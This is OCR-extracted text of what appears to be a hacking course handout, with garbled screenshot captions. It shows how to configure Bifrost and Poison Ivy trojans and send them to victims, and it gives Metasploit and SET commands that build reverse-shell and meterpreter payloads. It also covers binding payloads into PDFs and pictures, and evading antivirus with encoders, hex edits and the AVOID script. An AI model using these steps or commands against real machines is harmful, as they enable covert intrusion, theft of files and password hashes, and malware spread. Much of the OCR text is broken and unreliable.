|SUNyGpcAKUERSdFepyLedYCHMI 5721 | @ RC4 () AES (V] Windows 7. Vista . XP 32/64 Bit
| | _Geneate | | Abost | | Emib |

Open the program bifrost. Put the dynamic dns name and the
port number the Trojan program will work.

i~ Connection  Connect Through Socks 4

[T Ensble conrection thiough prosy Part
Dmamic DNS/P: | Dynamic DNSAP - | [1080
add | i | || At | [ansiP [ Por |
Delete Emoairdragon 2apto org Balats
Password |
Pat. |\ @

Un|

Dowin 1

I | b




| — File Installation — Extersion

Filename when imtaleu:l!“*'"‘ﬂf-m [ Include extension pack addomes, sl
Diteclom to instalte;  |Bifrost - Keylogges =
|| & Program fles directory I Qiflne keylogger logg.dal
™ Sypstem directory W Exclude Shit and Ct |
[ Windows directory [ Exclude Backeps .
~ Auboztat—— — — — |reechon |
B andor K Ty to impect to & specified process before
W Autostart at reboot andom Fey = L .

Registiy start key: I{HDT] [8aC-C598-4335C501 Procass riams: Im'.nm'.gl BxE

Mutex name: [B41234 Assigned name: |0 efaul
Registy key: h [ [T Persistant sarver
Export | Import | [server.ene | Buld | Cancel |

We put the customize file in the machine we want to attack
and we can browse the machine



i~ Connection i~ Connect Thiough Socks 4
™ Enable connection theough proxy Port:
Dymamic DNSAP: | Dynarmic DNSAP - | 1080
Add | fnsAtP Al Add | [ansP | Pert |
Delete Emoairdragon zapto org Dalets
Paszword I
Post; [} 1]
Up |
Down ||« | il j

Build the program. Give him the file output of the customizer
Customized.



Send the file to the client you want to hack.
When the client access the Trojan file, we will get notice of
reverse connection

Aszmned Nams P ComputerfUser Name Versi
S Default_2r9a14ad 182188, 1.1r[$. 168.1.3 XP-1/user pl.2d

d | (1) ¥
Options I Buider I Memo fox [ Update J Upload Exlensrun| ELrsh:nng on port 81,

Choose file manager on the machine you received




P File Manager - Default_2c9al4a3 192.168,1... L= | (5]

File Manager ] File Search | Download Manager |

[C <Foed IS

F M A <Removables l Eimi*' Last Change
<o [EREEED DIR 20121220 223
El-4 D: <CDRUM> DIR 20130711133
B4 F: <CD-ROM> DIR 20121228223

DIR 20121231 171
] I Okb 20129228222
F | 1kb  201212:2822:2
Okb 20121228 222
Okb 2012:12:28 22:2|
E , Okb 20121228222
4 l 8kb 20040803223

251kb 2004-0803 225
05307 kb 2301402163

Another program is Poison program

A ————

#F Manage Plugins
.« Manage NMotes

Exit

Choose new client. The Trojan program listens on Put the
password for the reverse connection if you wish.

The new server creates profile and name it server after you
generate it. Choose the reverse connection to come to the host



name at the dynamic dns server.

| reate

Advancad




When the client click on server, we can see all information

&
Profiles I Start on system startup
v HELM/Run Name mAsnnage! &xe
» v AcliveX KepMName: | {1A22FBE1-FADS-C200C: |7 Random
Caornection
[ Copy File
5 Filename:
Istal & System Folder
 \Windows Folder
[ Copy to Altemate Data Shieams
8

Generate it and name it server.
When the client access the file, we get in the hacker client

application the following
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(] i LAM Con. Type  Computer |Jzer Mame Acc. Twpe 0s CPU RaM Wergion  Ping
hovl 19216 19216.. Durect =P uger Admn WP 2455 MHz 1148 MiB 231 B3



1 "W’"M—_

b Irdarmation

d 4. o
Mm::“ Imasge Marme Path FID Image Baze  ImsgeSiza  Thiesd:s CPU  MemUssge Crested
| Somck =9 Systemid 0 00000000 00000000 1 % Z8Ke
25 Regedt [ Systern 4 00000000 0000000 64 1 ZBKE
an' Search o[ smesans \SyshemBaal\SystemIZiemes axe 652 48580000  OODOFOOD 3 0 3BEKE 17272013 43351 PM
= Processes #[ cusrene  APRCAWINDOWS \system32\csrss. ens 700 AABS0000  0O0OSO00 17 0 322MB 1/2/2013 4 3353 PM
4 Services &[] winlogon...  \?TAC\WINDOWS \aystem32iwiniogon exe ?21 01000000  OO0BOO0D 18 0 3AnIMe 1/2/2013 4 3353 PM
Bl Devices o o[ servces...  CAWINDOWS\system32\services sxe 000000  0O0CODD 16 ] 187 MB 1427203 43353 PM
R o Mm———mm
Toals i 4[] vmacthip.... C\Progia % Refresh Povimacthlp axe 932 00400000  0OOSDODD 1 0 210M8 1/2/2013 4. 3354 PM
38 Relay #[™] svchoste.. CNWIND| ¥ Show Modules . 948 01000000  0000GO0D 17 0 429MB 1/2/2013 4:3354 PM
&Y Active Ports #[=] svehoste., CAWIND 5 Save To File 1008 (1000000 OOODEOOD 9 0 3samMB /27203 43355 PM
B Remote Shel #[5] svehoste.. CAWIND yo ppo oo 1168 01000000  0DODG000 49 0 17ETMB  1/2/201343355PM
Password Audit [ svchoste.. CAWIND p 1284 MOOOGOD  OO0ORDO0 € 0 292MB 1/2/2013 43357 PM
Cached #[™] svchoste . CMWIND 1468 01000000  0000GO0D 16 0 477MB 12272013 43357 PM
2 NT/NTLM Hathes 3 [ explovece..  CAWIND L eaepermrmrmrome 1540 01000000  O0OOFFO00 12 1 1742MB 1/2/2003 43357 PM
' Waeless © [ spodlsve.  CAWINDOWS\system32ispooksy. exe 1712 01000000 00010000 12 0 S62M8 1/2/2013 43357 PM
< S“"K“"‘T‘e 6™ undiB2e..  CAWINDOWS\system32uundi32 exe 172 01000000  0000BOOO 4 0 299M8 1/2/2013 4 3358 PM
s i &[] vitoolsd... C:\Program Fies\VMwase\Mware Took\witocksdese 1804 00400000 00011000 6 0 125MB  1/2/201343358PM
M Scresn Caphure ™ mschede. C\Progiam Fles\Common Files\ava\lava Update\ns. 1812 00400000 00041000 2 0 43;ME 1/2/2013 4.3358 PM
4 ‘Webcam Capturs #[] svehoste.. CAWINDOWS\system32\svchost exe 19 01000000 0O0OE000 S LN 1 1/2/2N3 43418 PM
W Pluging #+[] is.eue C:\Progeam Fles\Java\paT\bin\jgs axe 256 00400000  OOO2C000 5§ 1 1.36 M8 1273 43418 PM
i Admirsstrabon 2] snmpoevs  CAWINDOWS System32\anmp exs 412 01000000  0000A000 4 0 307MB 1/2/2013 43418 PM
EditID = vmtoolsd..  IC:\Program Fles\VMware\WMware Tool\wmitoolsdewe 624 00400000 00017000 7 1 105MB  1/2/201343426PM
g Ei"‘:" o [™] TPAuteC. .  C\Program Fles\VMware\VMware Tool\TPAuoCon . 1652 00400000  0O0SFOO0 5 0 ImMB 17272003 434:27 PM
" R: a:: [ alg exe CAWINDOWS\System32ialg exe 228 01000000  00OODODD 6 0 316MB 17272013 43427 PM
S¢ Urirtad o [™] TRawteC.. C\Program Fles\VMware'WMware Tools\TPAwtoCon, 1836 00400000  0O04BC00 1 0 403ME 1273 & 28 PM

g) Linux Torjan Tools :

install metasploit on ubuntu

1- Download from sit

2- _ Jsudo bash

3- Chmod#Xx metasploit-latest-linux-
installer.run a

4- : J/ metasploit-latest-inux-installer.run




VPS is a machine that has real ip address. We can connect on
it in Windows from remote disktop and in Linux from SSH or
through VNC program or through Cpanel of the company you

bought from it the VPS .

Linux VPS Plans Windows VPS Plans

iy TR & e T
*ie# Linux VPS Plus *le# Linux VPS Pro
30 GB Disk Space 50 GB Disk Space
1024 MB RAM 2048 MB RAM

6144 MB Burst RAM

\{\ )’J 4096 MB Burst RLAM xk /J

e l\ /l ) Unmetered Bandwidth . k ) Unmetered Bandwidth
\/ Equal CPU (1 core min.) \/ Equal CPU (2 core min.)
From $19.95 ORDER NOW From $29.95 ORDER NOW

A

h) Installing Metasploit :




Download Metasoloit. You will get the following file.

4

metasploit-latest-
linux-installer.run

Give the file excusable permission to be excutable. Then run the
file.

root@mahmoud-virtual-machine:~/Desktop# chmod +X metasploit-latest-linux-install
er.run

root@mahmoud-virtual-machine:~ /Desktop# . /metasploit-latest-linux-installer.run

Setup the program. Leave the default information

To make update, you need to make registration. You need to
access the metasploit through the web browser Fill the
information



Login Info

Username*
Password®
Password confirmation” L}
Optional Info & Settings
Full nama
Emall address

Organization

Time 200 (GMT+02:00) Athens

Tell him to choose the pro metasploit standard edition. Give
him the necessary information

Register & Get Your Free Metasploit Pro Trial Product Key

[
o\
* First Name Contact detalls are required to validate product trial requests.
* Last Name * Work Phone
Job Title * Work Email

* Company Name
*Country | upited States
State/Province | please Select

*Type of Use | please select

You will get license key in email and you will put it in the
metasploit activation.
You will get the following interface



f & https://localhost:379C

Y metaspl oit
pro

Projects
\/ Activation Successful

Quick Start Wizards
What do you want to do?

Project Listing

Show 10 Z entries

Update the metasplot.

#msfupdate

®

Quick PenTest

& New Project

i) Generating Payloads in Metasploit :

e

Web App Test

@



msfconsole -

—

use exploit/multifhandler /

-

set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.1.7
sef LPFORT 4444

exploit -f

The payload is program that through it we can utilise
vulnerability on some software so we can access the machine.
Metasploit has big number of payload for different types of
operating systems and programs.

To see all types of payloads

# msfconsole



Msf> search payloads

We want to create palyload that will work in windows machine
and its type will be shell code and will use the property reverse
connection

Msf> search payload/windows/shell

Msf> use payload/windows/shell/reverse_tcp

Msf> set LHOST 192.168.52.130 (The ip of hacker machine)

Msf> generate —f server —t exe

It will create server.exe in the root



Use the multi handler to listen for the payload.

Msf > back

Msf> use exploit/multi/handler

Msf>set payload windows/shell/reverse_tcp

Msf> set LHOST 192.168.52.130 (the hacker ip)

Msf> set LPORT 4444

Msf> exploit —j

Msf > sessions —| (to see the sessions)



Msf > sessions —i 2

You can do anything in machine

L mahmoud@mahmoud-virtual-machine: -

sf explolt( )
] Command shel 55 » 192.168.1.7:49174) at 2
13-87
sf exploit(
sesslons

Information
Connection

shell wilndows Microsoft Windows [Version 6.1.7661) Copyright (c) 2089 Mic
osoft Corporation... 41.32.91.242:4444 -> 192.168.1.7:49174 (192.168.1.7)

ef exploit( ) » sessions -1 2
Starting interaction with 2... f*

Lcrosoft Windows [Version 6.1.7661]
opyright (c) 2089 Microsoft Corporatlon. ALl rights reserved.

s\Users\user\Desktop=dir

You can create the payload directly

o= " mahmoud@mahmoud-virtual-machine: -

mahmoud@mahmoud-virtual-machine:~$ sudo msfpayload payload/windows/shell_reverse
_tcp LHOST 41.32.91.242 LPORT 4444 R-»eduors.exe

[sudo] password for mahmoud:
Invalid payload: payload/windows/shell_reverse_tcp
mahmoud@mahmoud-virtual-machine:~5%

You can use the set tool to create payloads. It works with



metasploite.

Go applications, exploitation tools, social engineering tools, social
engineering toolkit, set

Set> ./set-update
Set > se_toolkit

Press 1 for social engineering attacks.




Press 4 for create a payload and listner

Then, you put the IP of the hacker computer that will listen to
the payload.

Choose 1 for the payload windows/shell/reverse_tcp payload

Chose to use encoding

Choose to listen at port 4444




It will ask you if you want to operate the listener, tell him yes.

You can find the payloads in pentest /exploits/set/msf.exe
Run the payload at client computer. The shell code sessions will
appear at the hacker computer.

Set > sessions —| (to see the sessions)

Set > sessions —i 1



j)_Wrapping:

It is to merge the program with picture wso that the client will
not suspect the Trojan.

Wrappers are software packages that can be

used to deliver a Trojan. The wrapper binds a Wrappers
legitimate file to the Trojan file. Both the

legitimate software and the Trojan are combined

into a single executable file and installed when/'-‘ g :
the programis run. Generally, games or othey’

Chess. exe

animated installations are used as wrappers W
becausethey entertain the user while the Trojan —

in being installed. This way, the user doesn't i
notice the slower processingthat occurs while
the Trojan is being nstalled on the system—the Co g
user only sees the leckimate application being P fhereen
installed.




SFX Compiler
KaB0 lconChanger

Msfeonsole
Set
Cobalt strike

In Bifrost create server.
Use the unicast sfx compiler to merge the torjan and a picture



W Uticasoft SFX Compiler
Fle List Help

= |+ + | 9

Open  Save

Files  Options |

File ta mn after extraction [main fle):

Add  Remove  Create

| Sunset jpg -

window tithe: Cugtom bext:

|K G odzilla {Press DK to contrue

Crefault foldar: [ Include folder names in of
|CAE siracied [ Display done message

v Donot prompt wser for folder selection

v Let the user decide where to extiact
7 Windows Temp folder

DK button caphion; Cancel button caption:
I[1]3 [Cancel
Mo Banner image [.bmp).

|

[ <¢ None »> -




You can use kabo icon changer to change the icon

KaB0 Icon Changer..Dev-Point

You can use also winrar or iexpress



k) Wrapping by Metasploit:

Msfconsole

Use exploit/windows/fileformat/adobe pdf embedded exe
set payload windows/imetempreter/reverse tcp
set LHOST 192.168.28.133

set LPORT 4444

set FILENAME eduors pdf

set INFILENAME "/root/CEl pdf*

output file/root. msfd/data/exploitsieduors.pdf /

y

use exploit/multifhandler

set payload windows/meterpreterreverse tcp
set LHOST 192.168.28.133

set LPORT 4444

exploit —j [

We use the following exploit:



Use eip.ld'it"wi ndows/fileformat/adobe pdf embedded exe

Generate the payload in msfconsole. Give the LHOST the hacker
computer dns name, the LPORT we want the Trojan program to
listen, the file name, the pdf file we want to merge with the
payload.



Run the muti handler. Give it the payload information. Infect the
client with the pdf file and you will enter meterpreter session.






Wrapping by Set Tools:



#./se-toolkit

Choose 1 for social engineering attack.

F riamew'o rK

gineer Toolkit

Choose 1 for file-format exploits.






Put the IP that the payload uses for the reverse connection.
Choose 11 for embedded pdf exe social engineering.

« root@bt: /pentest/exploits/set

it View Terminal Help

Choose the type of payload to be 2, windows meterpreter
reverse_tcp.



* root@bt: /pentest/exploits/set

ile Edit View Termina

You will find the file in

/root/pentest/exploits/set/autorun/template.pdf and therer is
autorun.inf file.

Take the file in client computer and run it. The meterpreter
session will open.



1) Wrapping Using Linux:




The coalt strike is better than armitage in the point that it can
do wrapping.

[Cobalt Stike View Hosts Attacks Workspaces Help

= [ payload
= [ windows
=[5 meterpreter
3
[ reverse_tcp_a
[ reverse_tcp_d

E windows/meterpreter/reverse_tcp

windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective Dl injection payload (staged)

Option =

[ value
Encoder x86/shikata_ga_nai
EXITFUNC process

itarations 3

| fmeter preterfreverse_tcp |

KeepTemplateWworking

Console X
. gl LHOST 192,168.28.140

Output: [multijhandler =

] show advanced options

Launch

Generate exe file. Search for windows/meterpreter/reverse_tcp

payload. Put the ip and port no of the listener. Generate the exe
file.



windows/meterpreter/reverse_tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

-

Jption = ':ufaiue

tarations 3
<aepTamplateWarking

HOST 192,168.28.140
Template m

QOutput: [[ex_e

b
i i

"] Show advanced options

Launch

save In: |[L) Desktop - 3@ D

[ cobaltstrike
O CElLpdf
) eduors.pdf
O server

Files of Type: |All Files - |

Save | | Cancel |




To work in multi handler, choose the same payload and put the

same ip and port no of the listener. Choose the output to be
multi handler.

windows/meterpreter/reverse _tcp

windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Value

lterations 3
KeepTemplateWaorking

LHOST 192,168.28.140
LPORT 4444
Template m

Output: [mutifhandler - f

[Tl Show advanced options

| Launch |

To merge with pdf file, go menu, attacks, packages, adobe pdf.
Choose the pdf file and the server file.



* Adobe PDF

This package embeds an exscutable into an Adobe POF file,
Requires Reader 8.x or 9.x on Windows XP SP3

|check the "Do not show this message
again' box and press Opan,

Message: |To wview the encrypted content please ‘

PDF File: | el
Embed EXE: | |H Caad

Genarate || Help




When you run the infected file in the client machine you will
see it

iobalt Strike ‘fiew Hosts Attacks Workspaces Help
5 payload
= [ windows
=[5 meterpreter
O
[ reverse_tcp_a
[ reverse tcp d

s
)
l%ﬁlrﬁtﬂfl' Access

102, 168, 2SR Intaract
XP-1huser (CESeEm

™ Browse Files

Bivating ' | Show Processes

ARP Scan... | Log Keystrokes

Kill Screenshot
Webcam Shot
Post Modules

Jmeterpreterfreverse_tep |

Console X | windows/meterpreterfreverse tcp X | windowsffileformat/adobe_pdf embedded exe x | Meter

Password database Commands

Command Description

hashdump Dumps the contents of the SAM database

m) Encoding the Torjan so the anti-virus will not detect it:




We need encrypt Trojan because anfivirus can not detect serverand stopprocess
Can used more techniques forencryptserver but need required ',rou have kl'lﬂ\'flEdgE
for assembly orc++ or yb_programming language

antivirus detect malware: and / \

You can scan server by Free Online Multi Engine Antivirus Fileand URL
A
S AVG KAPIRiKYS

i g NoD32 4@ ZAntiVir

Hex Workshop
el Z[INE

A W =

Msfconsole S bRdeknde ™
SE'[ Lr i e ey ’ h'} mantec

Cobalt strike or armitage

The antivirus program when wants to detect any virus or
malware or Trojan, it can work though two ways, signature
based or behavioral based. The anti virus program has a
database that has a lot of codes and when it finds the code in
the file it scans, it will know that it is Trojan with some name
or virus with some name. The behavioral based can see the
behavior of the program when it run. From the behavior of the
progrman it can detect whether it is virus or Trojan. Most
programs works as signature based and some works as
behavioral based.

There are some sites that have muti engine virus scan that can
scan any file with many anti viruses. Virustotal.com can scan
with 46 engines.



|

S tota

firusTotal 1s a free service that analyzes suspicious files and URLs and facilitates
the quick detection of viruse: Irms, trojans, and all kinds of mahwvare

Mo file selected {b

Maximum file size: BAMB

You can encrypt the Trojan and scan it in virustotal.com, but
that make the antiviruses detect your Trojan from virustotal.com.
Encode the program customized.exe with xencode program.



9 Options ~ Help - Xenocode Postbuild 2009 for NET Beta
[P YECLI |~ Application é protee T Optimize g'ﬁr‘tuﬂlm ﬁ Output

Application
Selact the apphcation sssemblies:

File Type Yersion (Culture) Public Key Token Source Path
Customized, exe Mative 32-bit executsble C\Documents and Settngsiusen Deskto.
add... Kot Scan Dependancies |
Select the option below which best describes your application:
Praset: | figgressive - Recommended For managed executable apiications 1 fpphy

[ T T p——"

You can encrypt the file using hex workshop program. Search by
trial error the part that has virus signature and change a letter
on it so the file will not be detected by antivirus.



n) Encoding in Metasploit

We need encrypt Trojan because antivirus can not detect serverand stopiprocess
Can used more techniques forencrypt server but need required }ruu have knowledge
for assembly orc++ or yb programming language ;
antivirus detect malware: and S \\

You can scan server by Free Online Multi Engine Antivirus Fileand URL

" AVG KA\PIR{KY

Rei=n. L onlaly NOD 32 2 AntiVis'
Hex Workshop salisiras tantas Q -ﬂIIII"II'

Msfconsole
Set

Cobalt strike or armitage

Metasploit has some encoders that we can use when we
generate the payload.
To see the encoders in metasploit, type

# msfconsole

Msf> use payload/windows/meterpreter/reverse_tcp

Msf> show encoders



The best is x86/shikata_ga_ni. Generate the payload with this
encoder

MSf> generate —t exe —f Mahmoud —e x86/shikata_ga_ni

) > geperata -t exe -f mahmoud -e JELEENS

Download armitage

#apt-get install armitage

Start the sql services

#service postgresql start

Start armitage



Go windows then meterpreter then reverse_tcp We choose the
encoder and LHOST and LPORT and they are the IP address
and port of the hacker machine listening to payload. Choose the
output file to be exe file.

windows/meterpreter/reverse.tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

Option 4| Value

Encoder ¥B6/shikata_ga_nal .
EXITRUNC process
Iterations 3

|| KeepTemplateWorking

il LHOST 192.168.1.4 =

(H._F V%L ] LT L 11

Output: | multihandler = |

| Show advanced options

| Launch |

Scan the file in virustotal> You will see it was detected by 35
antivirus



File already analysed

This file was already analysed by VirusTolal on 2013-07-28 21:11:17

Detection ratio 415.‘_

L\ I

You can take a look at the |ast analysis or analyse il again now

Reanalyse View lasl analysis

| mahmoud.ese | Choose Flle
Maximum file slze; 64MB

o

S <
]

We can use AVOID script for encryption. We need first to install
mingw32 first. Run the shell and provide him with necessary
information, and you will get the Trojan in autorun folder

AVOID script ( update version 0.s and install mingw32 package “apt-getinstall
mingw32”

How stealthy do you want the file? - enter 1,

- agbout 408K payoad - fast compile - 13/

'h - about 1-2 MB payload - fast compile - 12/46 A.V products detected

Stealth - about 10-20MB payload - fast compile - m_t 46 AV detected &

e Stealth - about S56MB payload - slower compile - 10/46 A.V detected as

». Desperate Stealth - about 100MB payload - slower compile - Not tested with




File Edit

Devices

View

Go

Bookmarks

¢ DiHome

autorun

Help



When we scan the file, we found it was detected by 16 from 46
anti-viruses.

n) Viruses and Warms




Virus

= Acomputer virus attaches itself to a program or file enabling it to spread from one
computer to another, leaving infections as it travels. Like a human virus, acomputer
virus can range in severity: some may cause only mildly annoying effects while others
can damage your hardware, software or files. Almostall uiruspeﬁare attachedto™

an executable file, which means thevirus may exist onvourcomputer but it actually
cannot infect your computer unless you run or open the malicious program. Itis
importantto note that a virus cannot be spread withouta human action, (suchas
running an infected program) to keep it going. Becéise a virus is spread by human
action people will unknowingly continue the spread of a computer virus by sharing
infecting files or sending emails with viruses as attachments in the email.




Worm

A worm is similar to a virus by design and is considered to be a sub-class of avirus. Worms
spread from computerto computer, but unlike a virus, it has the capability totravel without any
human action. A worm takes advantage of file orinformation transport featureS'on your system
which is what allows it to travel unaided.

The biggest danger with a worm is its capability to replicate |tseif onyoursystem, so rather

than your computer sending out a single worm, it could send out hundreds or thousands of
copies of itself, creating a huge devastating effect. N
Due to the copying nature of a worm and its capability totravel across networks the end result
in most cases is that the worm consumes too much sé‘;:m memory (or network bandwidth),
causing Web servers, network servers and individual computers to stop responding. In recent
worm attacks such as the much-talked-about Blaster Worm, the worm has been designed to
tunnel into your system and allow malicious users to control your computer remotely.

Types of Viruses

Viruses are classified according to two factors: what they infect and how they infec
A virus can infect the following components of a system:

System sectors

Files

Macros (such as Microsoft Word macros)

Companion files (supporting system files er DLL and INI fliesl
Disk clusters

Batch files (BAT files)

Source code

Some Tools to make worms and viruses



Jps VirusMaker3.0

TeraBIT Virus Maker3.2

JPS Virus Maker



IPS { Wirus Maker 3.0 ) bt

¥irus Options :

Cx Turr OFf > Hibrinate Cx Maone

it r. r-‘: ik
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